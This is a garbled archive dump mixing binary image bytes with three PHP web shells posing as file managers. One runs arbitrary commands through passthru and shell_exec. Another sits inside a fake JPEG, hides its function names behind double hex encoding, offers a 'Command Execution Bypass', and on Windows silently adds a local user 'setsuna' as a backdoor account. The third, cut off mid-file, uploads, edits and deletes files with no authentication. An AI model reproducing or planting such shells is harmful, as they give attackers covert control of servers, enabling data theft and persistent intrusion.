            let el = document.getElementById(id);
            el.style.display = el.style.display === 'block' ? 'none' : 'block';
        }
        function closePopup(id) {
            document.getElementById(id).style.display = 'none';
        }
    </script>
</head>
<body>
HTML;

// === Breadcrumb ===
function getBreadcrumb($path) {
    $parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
    $build = '';
    $curr = '/';
    $html = '<a href="?">Root</a>';
    foreach ($parts as $part) {
        if ($part === '') continue;
        $curr = rtrim($curr, '/') . '/' . $part;
        $html .= ' / <a href="?d=' . urlencode($curr) . '">' . htmlspecialchars($part) . '</a>';
    }
    return $html;
}

echo '<div class="header">';
echo '<h2 style="color:#79a317; margin:0;">📁 Dr_SQL File Manager</h2>';
echo '<a href="?x=info" style="color:#79a317;">[Info]</a>';
echo '</div>';

echo '<div class="breadcrumb">' . getBreadcrumb($current_dir) . '</div>';

// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<<ACTIONS
<div class="actions">
    <form method="POST">
        <input type="hidden" name="action" value="mkdir">
        <input type="text" name="name" placeholder="New Folder" required>
        <button type="submit">📁 Create Dir</button>
    </form>
    <form method="POST">
        <input type="hidden" name="action" value="mkfile">
        <input type="text" name="name" placeholder="New File" required>
        <button type="submit">📄 Create File</button>
    </form>
    <form method="POST" enctype="multipart/form-data">
        <input type="hidden" name="action" value="upload">
        <input type="file" name="file" required>
        <button type="submit">⬆️ Upload</button>
    </form>
    <form method="POST" action="?x=cmd&d={$enc_dir}">
        <input type="text" name="cmd" placeholder="Command" style="width:120px;">
        <button type="submit">💻 CMD</button>
    </form>
</div>
ACTIONS;

// === File List ===
$items = [];
if ($dh = @opendir('.')) {
    while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;
        $items[] = $f;
    }
    closedir($dh);
    natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10)
}

echo '<table>';
echo '<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Owner/Group</th><th>Actions</th></tr></thead>';
echo '<tbody>';

foreach ($items as $item) {
    $path = $current_dir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($item);
    $size = $isDir ? '-' : number_format(filesize($item));
    $perm = substr(sprintf('%o', fileperms($item)), -4);
    $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked');

    // Owner/Group
    $owner = $group = '???';
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $o = @posix_getpwuid(@fileowner($item));
        $g = @posix_getgrgid(@filegroup($item));
        $owner = $o ? $o['name'] : '???';
        $group = $g ? $g['name'] : '???';
    }

    $enc_item = urlencode($item);
    $enc_path = urlencode($path);

    $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}";
    $name_display = htmlspecialchars($item) . ($isDir ? '/' : '');

    echo '<tr>';
    echo "<td><a href=\"{$edit_link}\">{$name_display}</a></td>";
    echo "<td>{$size}</td>";
    echo "<td><span class=\"{$color}\">{$perm}</span></td>";
    echo "<td>{$owner}:{$group}</td>";
    echo "<td>";
    
    // Actions
    if (!$isDir) {
        echo "<a href=\"?x=edit&f={$enc_item}\" class=\"btn\">Edit</a>";
    }
    
    // Rename Popup
    echo " <a href=\"javascript:togglePopup('rename_{$enc_item}')\" class=\"btn\">Rename</a>";
    echo "<div id=\"rename_{$enc_item}\" class=\"popup hidden\">";
    echo "<form method=\"POST\">";
    echo "<input type=\"hidden\" name=\"action\" value=\"rename\">";
    echo "<input type=\"hidden\" name=\"old\" value=\"{$item}\">";
    echo "<input type=\"text\" name=\"new\" value=\"{$item}\" style=\"width:120px;\">";
    echo " <button type=\"submit\">✓</button>";
    echo " <button type=\"button\" onclick=\"closePopup('rename_{$enc_item}')\">✕</button>";
    echo "</form></div>";

    // Chmod Popup
    echo " <a href=\"javascript:togglePopup('chmod_{$enc_item}')\" class=\"btn\">Chmod</a>";
    echo "<div id=\"chmod_{$enc_item}\" class=\"popup hidden\">";
    echo "<form method=\"POST\">";
    echo "<input type=\"hidden\" name=\"action\" value=\"chmod\">";
    echo "<input type=\"hidden\" name=\"path\" value=\"{$item}\">";
    echo "<input type=\"text\" name=\"mode\" value=\"{$perm}\" placeholder=\"755\" style=\"width:60px;\">";
    echo " <button type=\"submit\">✓</button>";
    echo " <button type=\"button\" onclick=\"closePopup('chmod_{$enc_item}')\">✕</button>";
    echo "</form></div>";

    // Delete
    $del_action = $isDir ? 'delete_dir' : 'delete_file';
    echo " <a href=\"?action={$del_action}&path={$enc_path}\" class=\"btn\" onclick=\"return confirm('Delete?')\">Del</a>";

    echo "</td></tr>";
}

echo '</tbody></table>';

// === Handle Special Views ===
if ($_GET['x'] === 'edit') {
    $file = urldecode($_GET['f']);
    if ($_POST['save'] === '1') {
        file_put_contents($file, $_POST['content']);
        echo '<div style="color:#79a317; margin:10px;">✅ Saved!</div>';
    }
    $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
    echo '<h3>✏️ Editing: ' . htmlspecialchars($file) . '</h3>';
    echo '<form method="POST">';
    echo '<textarea name="content" style="width:100%; height:400px; background:#222; color:#fff; padding:10px; border:1px solid #555;">' . $content . '</textarea>';
    echo '<br><input type="hidden" name="save" value="1">';
    echo '<button type="submit" style="margin-top:10px; background:#79a317; color:black; padding:8px 15px; border:none; border-radius:4px;">💾 Save</button>';
    echo ' <a href="?" style="color:#79a317;">← Back</a>';
    echo '</form>';
} elseif ($_GET['x'] === 'info') {
    // Info panel (same as before)
    $moreI = [
        'PHP Version' => phpversion(),
        'Server Software' => $_SERVER['SERVER_SOFTWARE'],
        'Uname' => php_uname(),
        'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')',
        'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
        'Open BaseDir' => ini_get('open_basedir') ?: 'OFF',
        'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF',
        'Curl' => extension_loaded('curl') ? 'ON' : 'OFF',
        'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A',
        'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A',
        'Your IP' => $_SERVER['REMOTE_ADDR'],
        'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A'
    ];
    echo '<h3>ℹ️ System Info</h3><table style="width:100%; background:#222; padding:10px;">';
    foreach ($moreI as $k => $v) {
        echo "<tr><td>{$k}</td><td>: {$v}</td></tr>";
    }
    echo '</table><br><a href="?" style="color:#79a317;">← Back</a>';
} elseif ($_GET['x'] === 'cmd') {
    if ($_POST['cmd']) {
        echo '<pre style="background:#000; color:#0f0; padding:10px; border-radius:5px;">';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '</pre>';
    }
    echo '<h3>💻 Command Executor</h3>';
    echo '<form method="POST"><input type="text" name="cmd" style="width:50%; background:#222; color:#fff; padding:5px;" placeholder="ls -la">';
    echo '<button type="submit">Run</button></form>';
    echo '<br><a href="?" style="color:#79a317;">← Back</a>';
}

print '</body></html>';
?>PK;m\�7��NeNe	e6ml9.phpnu�[������ JFIF  x x  �� C 		



	
�� C��   " ��           	
�� �   } !1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������        	
�� �  w !1AQaq"2�B����	#3R�br�<?php

/*
 * (c) Setsuna Watanabe <yucaerin@hotmail.com>
 */

session_start();
error_reporting(E_ALL);
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);

$Array = [
    '36643662',
    '363436393732',
    '36373635373435663636363936633635356637303635373236643639373337333639366636653733',
    '3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665',
    '36353738363536333735373436353433366636643664363136653634',
    '373037323666363335663666373036353665',
    '3733373437323635363136643566363736353734356636333666366537343635366537343733',
    '36363639366336353566363736353734356636333666366537343635366537343733',
    '36363639366336353566373037353734356636333666366537343635366537343733',
    '3632363936653332363836353738',
    '366436663736363535663735373036633666363136343635363435663636363936633635',
    '3638373436643663373337303635363336393631366336333638363137323733',
    '3638363537383332363236393665',
    '373036383730356637353665363136643635',
    '3733363336313665363436393732',
    '363937333566363436393732',
    '36363639366336353566363537383639373337343733',
    '37323635363136343636363936633635',
    '36363639366336353733363937613635',
    '36393733356637373732363937343631363236633635',
    '373236353665363136643635',
    '363636393663363537303635373236643733',
    '3733373037323639366537343636',
    '373337353632373337343732',
    '363636333663366637333635',
    '373037323666363335663666373036353665',
    '36393733356637323635373336663735373236333635',
    '3730373236663633356636333663366637333635',
    '373536653663363936653662',
    '3639373335663636363936633635',
    '34353534', //30
    '353634353532',
    '3533343934663465',
    '346334353533',
    '35333534',
    '3633366636643664363136653634',
    '3737366637323662363936653637343436393732363536333734366637323739',
    '363337323635363137343635343436393732363536333734366637323739',
    '37303639373036353733',
    '36363639366336353733',
    '3636363936633635',
    '36363639366336353534366634343666373736653663366636313634',
    '3733363836353663366335663635373836353633',
];

$SETSUNA = [];
foreach ($Array as $hexString) {
    $SETSUNA[] = hex2bin(hex2bin($hexString));
}

$satu = '_G';
$dua = $SETSUNA[30];
$tiga = '_SER';
$empat = $SETSUNA[31];
$lima = '_SES';
$enam = $SETSUNA[32];
$tujuh = '_FI';
$delapan = $SETSUNA[33];
$sembilan = '_PO';
$sepuluh = $SETSUNA[34];
$sebelas = 'ev';
$duabelas = 'al';
$tigabelas = 'iss';
$empatbelas = 'et';

// Gunakan $SETSUNA sesuai kebutuhan
$a = $SETSUNA[0];
$b = $SETSUNA[1];
$c = $a . $b;
$EVA = $sebelas . $duabelas;
global $EVA;
$L = $GLOBALS[$satu . $dua];
$M = $GLOBALS[$tiga . $empat];
$N = $GLOBALS[$lima . $enam];
$e = $GLOBALS[$tujuh . $delapan];
$o = $GLOBALS[$sembilan . $sepuluh];
$f = $SETSUNA[2];
$g = $SETSUNA[3];
$h = $SETSUNA[4];
$i = $SETSUNA[5];
$j = $SETSUNA[6];
$q = $SETSUNA[7];
$s = $SETSUNA[8];
$v = $SETSUNA[9];
$w = $SETSUNA[10];
$y = $SETSUNA[11];
$z = $SETSUNA[12];
$NM = $SETSUNA[13];
$SCN = $SETSUNA[14];
$ID = $SETSUNA[15];
$FE = $SETSUNA[16];
$RF = $SETSUNA[17];
$FS = $SETSUNA[18];
$IW = $SETSUNA[19];
$RNM = $SETSUNA[20];
$FP = $SETSUNA[21];
$SPRF = $SETSUNA[22];
$SBSR = $SETSUNA[23];
$FCL = $SETSUNA[24];
$PROP = $SETSUNA[25];
$IR = $SETSUNA[26];
$PRCL = $SETSUNA[27];
$UNL = $SETSUNA[28];
$ISF = $SETSUNA[29];
$FTD = $SETSUNA[41];
$SHEE = $SETSUNA[42];
$ISS = $tigabelas . $empatbelas;
// Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS'
$AKE1 = 'array_';
$AKE2 = 'key';
$AKE3 = '_exists';

// Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid
$AKEFULL = $AKE1 . $AKE2 . $AKE3;

$ISS = function ($array, $elementName) use ($AKEFULL) {
    return call_user_func($AKEFULL, $elementName, $array);
};

$b = $ISS($L, $b) ? $z($L[$b]) : '.';
$files = $SCN($b);
$upload_message = '';
$edit_message = '';
$delete_message = '';
$create_dir_message = '';

// Function to Download
global $FS, $FTD;
if ($ISS($L, 'download')) {
    $FTD = $z($L['download']);
    // Make sure that the requested file exists
    if ($FE($FTD)) {
        // Set header to trigger download
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($FTD) . '"');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . $FS($FTD));
        $RF($FTD);
        exit;
    } else {
        // Handle jika file tidak ditemukan
        echo "File not found.";
    }
}

// Function to get file permissions
function f($file): string {
    global $FP, $SPRF, $SBSR;
    return $SBSR($SPRF('%o', $FP($file)), -4);
}

// Function to check write permissions
function g($file): bool {
    global $IW;
    return $IW($file);
}

function h($command, $workingDirectory = null)
{
    global $j, $FCL, $PROP, $IR, $PRCL;

    // Mendefinisikan fungsi baru menggunakan kombinasi string
    $aduh = 'ar';
    $adeh = 'ray';
    // Memastikan fungsi yang dibuat adalah 'array' yang valid
    $RAY = $aduh . $adeh;

    // Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil
    if (!function_exists($RAY)) {
        return "Error: The function {$RAY} does not exist.";
    }

    $descriptorspec = [
       0 => $RAY("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => $RAY("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => $RAY("pipe", "w")   // stderr is a pipe that the child will write to
    ];

    $process = $PROP($command, $descriptorspec, $pipes, $workingDirectory);

    if ($IR($process)) {
        // Read output from stdout and stderr
        $output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan
        $output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan

        $FCL($pipes[0]);
        $FCL($pipes[1]);
        $FCL($pipes[2]);

        $return_value = $PRCL($process);

        return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
    } else {
        return "Failed to execute command.";
    }
}


if ($ISS($L, '636d64')) {
    $command = $z($L['636d64']);
    $result = h($command, $b);
}

if ($ISS($e, 'file_upload')) {
    $tempFile = $e['file_upload']['tmp_name'];
    $targetFile = $b . '/' . $e['file_upload']['name'];
    if ($w($tempFile, $targetFile)) {
        $upload_message = 'File uploaded successfully.';
    } else {
        $upload_message = 'Failed to upload file.';
    }
}

// function for command execution bypass
global $SHEE;
if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) {
    $result = '';
    if ($ISS($L, '636d64')) {
        $command = hex2bin($L['636d64']);
        $result = $SHEE($command);
    }

    
$disable    = @ini_get('disable_functions');
$disable    = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os         = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Command Execution</title>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
        <style>
            body {
                font-family: Arial, sans-serif;
            }
            header {
                background-color: #4CAF50;
                color: white;
                padding: 1rem;
                text-align: center;
            }
            header h1 {
                margin: 0;
            }
            main {
                padding: 1rem;
            }
        </style>
    </head>
    <body>
        <header>
            <h1>Command Execution</h1>
        </header>
        <main class="container">
            <?php if ($ISS($GLOBALS, 'result')): ?>
            <div class="alert alert-info">Command executed: <?php echo $v($b); ?></div>
            <div class="alert alert-light">
                <h2>Command Result:</h2>
                <pre><?php echo $y($result); ?></pre>
            </div>
            <?php endif; ?>
            <p><b>Command Execution Bypass</b></p>
            <form method="GET">
                <label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br>
                <input type="hidden" name="dir" value="<?php echo $v($b); ?>">
                <input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br>
                <button type="submit" class="btn btn-warning">Execute</button>
            </form>
            <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a>
        </main>
    </body>
    </html>
    <?php
    exit;
}

// function for edit file
if ($ISS($o, 'edit_file')) {
    $file = $o['edit_file'];
    $content = $q($file);
    if ($content !== false) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Edit File</title>
            <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
            <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
            <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
            <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
            <style>
                body {
                    font-family: Arial, sans-serif;
                }
                header {
                    background-color: #4CAF50;
                    color: white;
                    padding: 1rem;
                    text-align: center;
                }
                header h1 {
                    margin: 0;
                }
                main {
                    padding: 1rem;
                }
            </style>
        </head>
        <body>
            <header>
                <h1>Edit File</h1>
            </header>
            <main class="container">
                <form method="post" action="">
                    <div class="form-group">
                        <textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea>
                    </div>
                    <input type="hidden" name="edited_file" value="<?php echo $y($file); ?>">
                    <button type="submit" name="submit_edit" class="btn btn-success">Submit</button>
                </form>
            </main>
        </body>
        </html>
        <?php
        exit;
    } else {
        $edit_message = 'Gagal membaca isi file.';
    }
}


if ($ISS($o, 'submit_edit')) {
    $file = $o['edited_file'];
    $content = $o['file_content'];
    if ($s($file, $content) !== false) {
        $edit_message = 'File Edit Successfully.';
    } else {
        $edit_message = 'Failed To Edit File.';
    }
}

if ($ISS($o, 'delete_file')) {
    global $UNL;
    $file = $o['delete_file'];
    if ($UNL($file)) {
        $delete_message = 'File deleted successfully.';
    } else {
        $delete_message = 'Failed to delete file.';
    }
}

// Fungsi untuk menampilkan pesan
function showMessage($message, $y)
{
    echo '<p>' . z($message) . '</p>';
}

$un = $NM();
$current_dir = realpath($b);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Hijau</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        header {
            background-color: #4CAF50;
            color: white;
            padding: 1rem;
            text-align: center;
        }
        header h1 {
            margin: 0;
        }
        main {
            padding: 1rem;
        }
    </style>
</head>
<body>
    <header>
        <h1>Shell Hijau</h1>
    </header>
    <main class="container">
        <p>Current directory: 
            <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $Ex = 'expl';
                $Pl = 'ode';
            // Memastikan fungsi yang dibuat adalah 'explode' yang valid
                $ExPl = $Ex . $Pl;
            // Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ExPl)) {
                return "Error: The function {$ExPl} does not exist.";
            }
            $parts = $ExPl('/', trim($current_dir, '/'));
            $path = '';
            foreach ($parts as $part) {
                $path .= '/' . $part;
                echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/';
            }
            ?>
        </p>
<?php
echo '<p>Server information: ' . $y($un) . '</p>';
?>

<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    button:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan informasi server -->
<button onclick="toggleInfo()">Check Server</button>

<div id="serverInfo" style="display:none;">
    <pre>
    Disabled Functions: <?php 
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $in = 'in';
                $iget = 'i_get';
            // Memastikan fungsi yang dibuat adalah 'ingetin' yang valid
                $ingetin = $in . $iget;
            // Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ingetin)) {
                return "Error: The function {$ingetin} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1c = 'st';
                $i2c = 'rlen';
            // Memastikan fungsi yang dibuat adalah 'i1c2' yang valid
                $i1c2 = $i1c . $i2c;
            // Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1c2)) {
                return "Error: The function {$i1c2} does not exist.";
            }
            echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br>
    PHP Version: <?php echo phpversion(); ?><br>
    Operating System: <?php echo PHP_OS; ?><br>
    <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $s1b = 'strt';
                $s2b = 'oupper';
            // Memastikan fungsi yang dibuat adalah 's1b2' yang valid
                $s1b2 = $s1b . $s2b;
            // Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($s1b2)) {
                return "Error: The function {$s1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SEXC1 = 'she';
                $SEXC2 = 'll_ex';
                $SEXC3 = 'ec';
            // Memastikan fungsi yang dibuat adalah 'SEXC' yang valid
                $SEXC = $SEXC1 . $SEXC2 . $SEXC3;
            // Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SEXC)) {
                return "Error: The function {$SEXC} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SAINT1 = 'st';
                $SAINT2 = 'rpos';
            // Memastikan fungsi yang dibuat adalah 'SAINT' yang valid
                $SAINT = $SAINT1 . $SAINT2;
            // Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SAINT)) {
                return "Error: The function {$SAINT} does not exist.";
            }
    // Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP
    if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') {
        $output = $SEXC('net user setsuna setsuna123## /add 2>&1');
        $can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No';
    } else {
        $can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No'
    }
    echo 'Can Create RDP User: ' . $can_create_rdp;
    ?>
    </pre>
</div>

<script>
function toggleInfo() {
    var info = document.getElementById('serverInfo');
    var button = document.querySelector('button');
    if (info.style.display === 'none') {
        info.style.display = 'block';
        button.textContent = 'Close';
    } else {
        info.style.display = 'none';
        button.textContent = 'Check Server';
    }
}
</script>

        <?php if (!empty($upload_message)): ?>
        <div class="alert alert-info"><?php echo $y($upload_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($edit_message)): ?>
        <div class="alert alert-warning"><?php echo $y($edit_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($delete_message)): ?>
        <div class="alert alert-danger"><?php echo $y($delete_message); ?></div>
        <?php endif; ?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    .btn-primary:hover, .toggle-btn:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
    .form-control-file {
        display: inline-block;
        margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */
    }
    .form-group {
        display: flex; /* Menggunakan flexbox untuk align items horizontally */
        align-items: center; /* Center items vertically */
        margin-bottom: 10px; /* Margin bawah untuk grup form */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan form upload -->
<button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button>

<!-- Form upload -->
<div id="uploadForm" style="display:none;">
    <form method="POST" enctype="multipart/form-data" class="mb-3 d-inline">
        <div class="form-group">
            <input type="file" name="file_upload" class="form-control-file">
            <button type="submit" class="btn btn-primary">Upload</button>
        </div>
        <input type="hidden" name="dir" value="<?php echo $y($b); ?>">
    </form>
</div>

<script>
function toggleUploadForm() {
    var form = document.getElementById('uploadForm');
    var button = document.querySelector('.toggle-btn');
    if (form.style.display === 'none') {
        form.style.display = 'block';
        button.textContent = 'Close';
    } else {
        form.style.display = 'none';
        button.textContent = 'Upload Here';
    }
}
</script>
        <a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a>
        <form method="POST" class="mb-3">
            <div class="form-group">
        </form>
        <table class="table table-striped">
            <thead class="thead-dark">
                <tr>
                    <th>Filename</th>
                    <th>Permissions</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($files as $file): ?>
                <tr>
                    <td>
                        <?php if ($ID($b . '/' . $file)): ?>
                        <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a>
                        <?php else: ?>
                        <?php echo $y($file); ?>
                        <?php endif; ?>
                    </td>
                    <td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>">
                        <?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
                    </td>
                    <td>
                        <?php if ($ISF($b . '/' . $file)): ?>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-primary">Edit</button>
                        </form>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-danger">Delete</button>
                        </form>
                        <form action="" method="get" class="d-inline">
                            <input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>">
                            <button type="submit" class="btn btn-info">Download</button>
                        </form>
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </main>
</body>
</html>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �� �N����m?� ��j� ��EP��PK;m\~\ݸ5
5
	z8op2.phpnu�[���<?php
session_start();
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if ($dir === false || !is_dir($dir)) {
    die("Direktori tidak ditemukan!");
}

if (isset($_POST['upload'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']);
}

if (isset($_POST['delete'])) {
    unlink($_POST['delete']);
}

if (isset($_POST['rename'])) {
    rename($_POST['oldname'], $_POST['newname']);
}

if (isset($_POST['save'])) {
    file_put_contents($_POST['filepath'], $_POST['content']);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Mini File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; }
        a { color: #0af; text-decoration: none; }
        .container { width: 80%; margin: auto; text-align: left; }
        .box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; }
        input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; }
        .directory { font-weight: bold; }
    </style>
</head>
<body>
    <div class='container'>
        <h2>ZSec File Manager</h2>
        <form method='post' enctype='multipart/form-data'>
            <input type='file' name='file'>
            <button type='submit' name='upload'>Upload</button>
        </form>
        <div class='box'>
            <p class='directory'>Current Directory: <?php echo $dir; ?></p>
            <?php if (dirname($dir) !== $dir) : ?>
                <a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a>
            <?php endif; ?>
            <?php
            foreach (scandir($dir) as $file) {
                if ($file == '.') continue;
                $filePath = "$dir/$file";
                if ($file == '..' && $dir === '/') continue;
                echo "<div>$file ";
                if (is_dir($filePath)) {
                    echo "<a href='?dir=$filePath'>[Open]</a> ";
                } elseif (is_file($filePath)) {
                    echo "<a href='?edit=$filePath'>[Edit]</a> ";
                }
                echo "<form method='post' style='display:inline;'>
                        <input type='hidden' name='delete' value='$filePath'>
                        <button type='submit'>Hapus</button>
                      </form>
